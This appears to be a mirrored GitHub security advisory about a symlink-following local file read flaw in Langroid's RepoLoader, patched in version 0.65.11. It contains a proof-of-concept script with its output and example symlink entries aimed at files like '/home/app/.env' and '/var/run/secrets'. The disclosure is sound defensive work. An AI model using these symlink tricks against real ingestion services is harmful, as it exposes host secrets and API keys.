GHSA-99M6-3PVG-Q66H
RepoLoader follows symlinks and reads local files outside the ingested repository or folder
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-99M6-3PVG-Q66H divulgada · CVSS 6.5 (GitHub) | |
| Remediación | Parche 0.65.11 | langroid · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Langroid `RepoLoader` follows attacker-controlled symbolic links when ingesting a repository or local folder. As a result, a repository or directory tree that contains symlinks to host files or directories outside the intended root can cause Langroid to load those external files as documents.
This creates a local file read issue during repository or folder ingestion.
Details
The vulnerable behavior is in `langroid/parsing/repo_loader.py`, primarily in `RepoLoader.load_from_folder()` and `RepoLoader.get_documents()`.
- `load_from_folder()` walks entries under the supplied root using `os.path.isdir()` / `os.path.isfile()` and reads files with `open()`
- `get_documents()` collects file paths and passes them to document parsing without rejecting symlinks or ensuring that resolved paths remain within the intended root
Because symlinks are followed, a malicious repository or local directory can contain entries such as:
- `secret.txt -> /home/app/.env`
- `lootdir -> /var/run/secrets`
When Langroid ingests that tree, it reads the symlink targets and exposes their contents as `Document` objects even though the targets are outside the ingested repository or folder.
This is especially relevant for applications that ingest user-supplied repositories or local document trees and then expose the resulting documents to retrieval, summarization, or chat workflows.
PoC
The following script demonstrates that both `load_from_folder()` and `get_documents()` follow symlinks and load file contents from outside the intended root directory.
import tempfile
from pathlib import Path
from langroid.parsing.repo_loader import RepoLoader
with tempfile.TemporaryDirectory() as td:
td = Path(td)
base = td / "base"
outside = td / "outside"
base.mkdir()
outside.mkdir()
(outside / "secret.txt").write_text("HOST-SECRET", encoding="utf-8")
(outside / "nested.txt").write_text("NESTED-SECRET", encoding="utf-8")
(base / "link-file.txt").symlink_to(outside / "secret.txt")
(base / "lootdir").symlink_to(outside, target_is_directory=True)
tree, docs = RepoLoader.load_from_folder(
str(base),
depth=2,
lines=20,
file_types=["txt"],
exclude_dirs=[],
url="attacker/repo",
)
print(
{
"doc_sources": sorted(d.metadata.source for d in docs),
"doc_contents": sorted(d.content for d in docs),
}
)
docs2 = RepoLoader.get_documents(
str(base),
file_types=["txt"],
exclude_dirs=[],
depth=2,
lines=20,
)
print(
{
"get_documents_sources": sorted(d.metadata.source for d in docs2),
"get_documents_contents": sorted(d.content for d in docs2),
}
)Observed result:
{
"doc_sources": ["link-file.txt", "lootdir/nested.txt", "lootdir/secret.txt"],
"doc_contents": ["HOST-SECRET", "HOST-SECRET", "NESTED-SECRET"]
}
{
"get_documents_sources": ["/tmp/.../base/link-file.txt"],
"get_documents_contents": ["HOST-SECRET"]
}This shows that:
- `load_from_folder()` follows both a symlinked file and a symlinked directory
- `get_documents()` follows a symlinked file and loads the external target contents
Impact
If an application allows untrusted users to select or provide a repository, folder, or document tree for ingestion, an attacker can use symlinks to cause the server to read local files outside the intended ingestion root.
Depending on the deployment, this can expose:
- environment files and API keys
- source code and application configuration
- mounted secrets and other readable host files
In hosted "chat with your repo" or document ingestion services, this can become
a server-side local file disclosure issue.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilangroid |
Corregida | 0.65.11 | 0 d | 0.69.22 no afectada |
0.65.11Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/langroid/langroid/security/advisories/GHSA-99m6-3pvg-q66hLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
